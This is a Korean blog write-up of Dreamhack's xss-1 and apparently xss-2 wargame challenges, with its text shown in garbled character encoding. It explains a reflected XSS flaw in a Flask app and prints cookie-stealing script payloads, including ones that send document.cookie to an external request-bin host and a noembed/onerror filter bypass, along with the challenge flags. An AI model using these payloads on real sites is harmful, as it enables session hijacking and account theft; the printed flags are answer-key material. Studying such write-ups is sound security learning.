Jastes 2022. 6. 22. 17:03


๋ฐฐ๊ฒฝ ์ง€์‹

์œ„ ๋ฌธ์ œ๋Š” Flask ํ”„๋ ˆ์ž„์›Œํฌ๋กœ ๊ตฌํ˜„๋จ

XSS๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ์ด์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•˜๋Š” ๋ฌธ์ œ๋กœ ํ•ด๋‹น ๋ฐฉ๋ฌธ ์‹œ๋‚˜๋ฆฌ์˜ค๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค
์ด๋Ÿฐ ๊ธฐ๋Šฅ์€ ์…€๋ ˆ๋Š„์„ ํ†ตํ•ด ๊ตฌํ˜„๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์…€๋ ˆ๋Š„(Selenium)์€ ์›น App ํ…Œ์ŠคํŒ…์— ์‚ฌ์šฉ๋˜๋Š” ํŒŒ์ด์ฌ ๋ชจ๋“ˆ๋กœ, API๋ฅผ ํ†ตํ•ด ์šฐ๋ฒ  ๋“œ๋ผ์ด๋ธŒ(ํฌ๋กฌ ๋“ฑ)๋ฅผ
์‚ฌ์šฉํ•˜๋ฉฐ, ์š”์ฒญ๊ณผ ์‘๋‹ต๋งŒ ์ฒ˜๋ฆฌํ•˜๋Š” libc์™€๋Š” ๋‹ค๋ฆ…๋‹ˆ๋‹ค.

์ด๋Š” ์‘๋‹ต์— ํฌํ•จ๋œ Js, Css์™€ ๊ฐ™์€ ์›น ๋ฆฌ์†Œ์Šค๋ฅผ ์›น ๋“œ๋ผ์ด๋ฒ„๋ฅผ ํ†ตํ•ด ํ•ด์„ ์‹คํ–‰ํ•˜๊ธฐ์— ๋ฐฉ๋ฌธ๊ณผ ๊ฐ™์€ ์—ญํ• ํ•จ


๋ฌธ์ œ ๋ชฉํ‘œ ๋ฐ ์š”์•ฝ

์œ„์™€ ๊ฐ™์€ ์‚ฌ์‹ค์€ ํ•ด๋‹น Wargame์—์„œ ์ œ๊ณตํ•˜๋Š” app.py์„ ๋“ค์–ด๊ฐ€์„œ ํ™•์ธํ•ด๋ณด์‹œ๋ฉด ๋‚˜์™€์š”


์—”๋“œํฌ์ธํŠธ ๋ถ„์„

์—”๋“œํฌ์ธํŠธ๋ž€?
 ์•Œ๋ ค์ง„ ์œ„ํ˜‘ ๋ฐ ์•Œ๋ ค์ง€์ง€ ์•Š์€ ์œ„ํ˜‘์œผ๋กœ๋ถ€ํ„ฐ ๊ธฐ์—…์˜ ๊ฒฝ๊ณ„๋กœ ๊ฐ„์ฃผ๋˜๋Š” ์š”์†Œ
๋ณดํ†ต์˜ ๊ฒฝ์šฐ์—” HW์˜ ๊ด€์ ์—์„œ ๋งŽ์ด ์‚ฌ์šฉ๋จ

์—”๋“œํฌ์ธํŠธ : /vuln

vuln ํŽ˜์ด์ง€๋ฅผ ๊ตฌ์„ฑํ•˜๋Š” ์ฝ”๋“œ๋กœ์จ, ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ์ด์šฉ์ž์—๊ฒŒ ํ•ด๋‹น ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•จ


์—”๋“œํฌ์ธํŠธ : /memo

memo ํŽ˜์ด์ง€๋ฅผ ๊ตฌ์„ฑํ•˜๋Š” ์ฝ”๋“œ๋กœ, memo_text์˜ ๋นˆ ๋ฌธ์ž์—ด์— ์š”์ฒญ ๋ฐ›์€ ๊ฒƒ์— ๋Œ€ํ•˜์—ฌ
memo์˜ ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฐ’์„ render_template ํ•จ์ˆ˜์œผ๋กœ ๋ฐ˜ํ™˜ํ•ด์ฃผ๋„ค์š”


์—”๋“œํฌ์ธํŠธ : /flag

GET์œผ๋ก  render_template์˜ ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ(memo์˜ ๋ฐ˜ํ™˜์ด...)
POST๋Š” param ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๊ธฐ๋„ ํ•˜๊ณ  flag์˜ ์ฟ ํ‚ค์˜ ๊ฐ’์ด flag๋ผ๋„ค์š”


์ทจ์•ฝ์  ๋ถ„์„

vuln๊ณผ memo ์—”๋“œํฌ์ธํŠธ๋Š” ์ด์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์„ ํŽ˜์ด์ง€์— ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.
memo๋Š” render_template ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด memo.html์„ ์ถœ๋ ฅํ•˜์ฃ 

render_template ํ•จ์ˆ˜๋Š” ์ „๋‹ฌ๋œ ํ…œํ”Œ๋ฆฟ ๋ณ€์ˆ˜๋ฅผ ๊ธฐ๋กํ•  ๋•Œ
HTML entity์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ ์ €์žฅํ•ด XSS๊ฐ€ ๋ฐœ์ƒ ๋ชป ํ•˜์ฃ 

๊ทธ๋Ÿฌ๋‚˜ vuln์€ ์ด์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์„ ํŽ˜์ด์ง€์— ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•˜๊ธฐ์— ์ทจ์•ฝํ•˜๋‹ต๋‹ˆ๋‹ค.


ํ•ต์‹ฌ ๋ช…๋ น์–ด

๋ฌธ์ œ ํ•ด๊ฒฐ์— ์žˆ์–ด์„œ /vuln์— ์žˆ๋Š” ์—”๋“œํฌ์ธํŠธ์˜ ๊ฐ’์„ ์–ป๊ธฐ ์œ„ํ•ด XSS ์ทจ์•ฝ์ ์„ ์‚ด๋ ค์•ผํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด ํƒˆ์ทจํ•œ ์ฟ ํ‚ค ๊ฐ’์„ ์–ป๊ธฐ ์œ„ํ•ด ์™ธ๋ถ€์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์‚ฌ์ดํŠธ ์‚ฌ์šฉ or memo ์—”๋“œํฌ์ธํŠธ ํ™œ์šฉ

๋‹ค์Œ ํ‘œ๋Š” ๊ณต๊ฒฉ์— ์‚ฌ์šฉ๋  ํ•ต์‹ฌ์ ์ธ ์ฝ”๋“œ์ด๋ฉฐ, ์ž์„ธํ•œ ์„ค๋ช…์„ ํ•จ๊ป˜ ์ฝ์–ด์ฃผ์„ธ์š”


์ฟ ํ‚ค ํƒˆ์ทจ

์—ฌ๋Ÿฌ๊ฐ€์ง€์˜ ๋ฐฉ๋ฒ•์„ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํฌ๊ฒŒ 2๊ฐ€์ง€์˜ ๊ด€์ ์—์„œ ์ ‘๊ทผํ•ด๋ด…์‹œ๋‹ค

memo ํŽ˜์ด์ง€ ํ™œ์šฉ
<script>location.href='/memo?memo=' + document.cookie;</script>

์œ„์™€ ๊ฐ™์ด flag์˜ ์œ„์น˜์—์„œ ๋ช…๋ น์–ด๋ฅผ ์‚ฝ์ž…ํ•ด XSS(reflected XSS)๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ๋ฐฉ์‹์œผ๋ก  ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์‚ฌ์ดํŠธ๋ฅผ ํ™œ์šฉํ•ด ์ž…๋ ฅ๋ฐ›๋Š” ๋ฐฉ์‹์œผ๋กœ ์•„๊นŒ POST๋กœ flag๋ฅผ ์ „๋‹ฌํ•ด์ฃผ๋Š” ๋ถ€๋ถ„ ํ™œ์šฉ
๊ทผ๋ฐ ๋ฐ›์„ ๋•Œ๋Š” GET ๋ฐฉ์‹์œผ๋กœ ๋ฐ›์Šต๋‹ˆ๋‹ค ใ…Žใ…Ž

์›น ์„œ๋ฒ„ ํ™œ์šฉ

์™ธ๋ถ€์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์›น ์„œ๋ฒ„๋ฅผ ํ™œ์šฉํ•˜๋ฉด ๋˜๋ฉฐ, ์—ฌ๊ธฐ์„  Dreamhack tools๋ผ๋Š” ๊ฒƒ์„ ์ด์šฉํ•ฉ์‹œ๋‹ค.
ํ•ด๋‹น Request Bin๋ถ€๋ถ„์„ ํ™œ์šฉํ•ด ๋งํฌ ์ƒ์„ฑ ํ›„...

<script>location.href='https://ntgtpnz.request.dreamhack.games/?memo' + document.cookie;</script>

๊ทธ๋Ÿผ ์ด์ œ ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์œผ๋กœ ๋ฌธ์ œ ํ•ด๊ฒฐ์„ ์•ผ๋ฌด์ง€๊ฒŒ ํ–ˆ๋„ค์š” ใ…Ž

DH{2c01577e9542ec24d68ba0ffb846508e}

 

์•Œ์•„๋‘์–ด์•ผ ํ•  ๋ถ€๋ถ„

XSS ๊ณต๊ฒฉ์€ ์ฃผ๋กœ ์ด์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์ด ์ถœ๋ ฅ๋˜๋Š” ํŽ˜์ด์ง€์—์„œ ๋ฐœ์ƒํ•˜๋ฉฐ,
ํ•ด๋‹น ๊ณต๊ฒฉ์„ ํ†ตํ•ด ํƒ€ ์ด์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์— ์ €์žฅ๋œ ์ฟ ํ‚ค ๋ฐ ์„ธ์…˜ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋ฌธ์ œ์ ์€ ์•…์„ฑ ํƒœ๊ทธ๋ฅผ ํ•„ํ„ฐ๋งํ•˜๋Š” HTML Sanitization์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜
์—”ํ‹ฐํ‹ฐ์ฝ”๋“œ๋กœ ์น˜ํ™˜ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด ํ•ด๊ฒฐํ•œ๋‹ต๋‹ˆ๋‹ค


์ด ๋ฌธ์ œ๋Š” ์†”์งํžˆ ์ด์ „ ์ฝ”๋“œ๋ž‘ ์œ ์‚ฌํ•˜๊ณ  ํ•„ํ„ฐ๋ง๋งŒ ์ถ”๊ฐ€๋œ ๋ชจ์Šต๊ฐ™์•„์š” ๊ทธ ์ด์œ ๋Š”
xss ๊ทธ ์›น ํŽ˜์ด์ง€ ๋“ค์–ด๊ฐ€๋ฉด XSS๊ฐ€ ์‹คํ–‰์ด ์•ˆ๋˜๋‹ˆ๊นŒ์š” ์จ‹๋“  ํ’€์–ด๋ณด๋ฉด..
์‚ฌ์‹ค PortSwigger์— XSS_Cheat sheet์„ ๊ฒ€์ƒ‰ํ•ด์„œ ๋‚˜์˜จ๊ฑฐ ์•„๋ฌด๊ฑฐ๋‚˜ ๋Œ€์ž…ํ•ด ๋„ฃ์œผ๋ฉด ๋˜๊ธด ํ•ด์š”

๋ฌธ์ œ๋Š” ํ•„ํ„ฐ๋งํ•˜๋Š” ์ฝ”๋“œ๋ถ€๋ถ„์ด ์–ด๋””์ธ์ง€ ์ž˜ ํ™•์ธ์ด ์•ˆ๋˜๋Š”๋ฐ ์•„๋งˆ flask Selenium์— ์žˆ์–ด์„œ
HTML Sanitization์„ ํ™œ์šฉํ•œ ๊ฑฐ ๊ฐ™๋„ค์š” ๊ทธ๋ž˜์„œ ๋Œ€์ž…ํ•ด ํ’€์–ด๋ณด๋ฉด..

<noembed><img title="</noembed><img src onerror=location.href="https://ikeagjn.request.dreamhack.games/?memo="+document.cookie;>"></noembed>

๊ทธ๋ƒฅ ์ตœ์‹ ๊ฑฐ ๋„ฃ์–ด์„œ ๋Œ€์ž…ํ•ด๋ณด์‹œ๋ฉด ๋˜๊ณ  ํ•ด๋‹น ํ…Œ๊ทธ์™€ ๊ด€ํ•œ ๋‚ด์šฉ์€ ๊ณต๋ถ€ํ•˜์‹œ๋ฉด ๋˜๊ณ ..

DH{3c01577e9542ec24d68ba0ffb846508f}


์ฐธ๊ณ  ์ž๋ฃŒ

 

xss-1

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ ์ž…๋ ฅ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡์ด ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ํ”Œ๋ž˜๊ทธ๋Š” flag.txt, FLAG ๋ณ€์ˆ˜์— ์žˆ์Šต๋‹ˆ๋‹ค. Reference Client-side Basic

dreamhack.io

์ฐธ๊ณ  ์ด๋ฏธ์ง€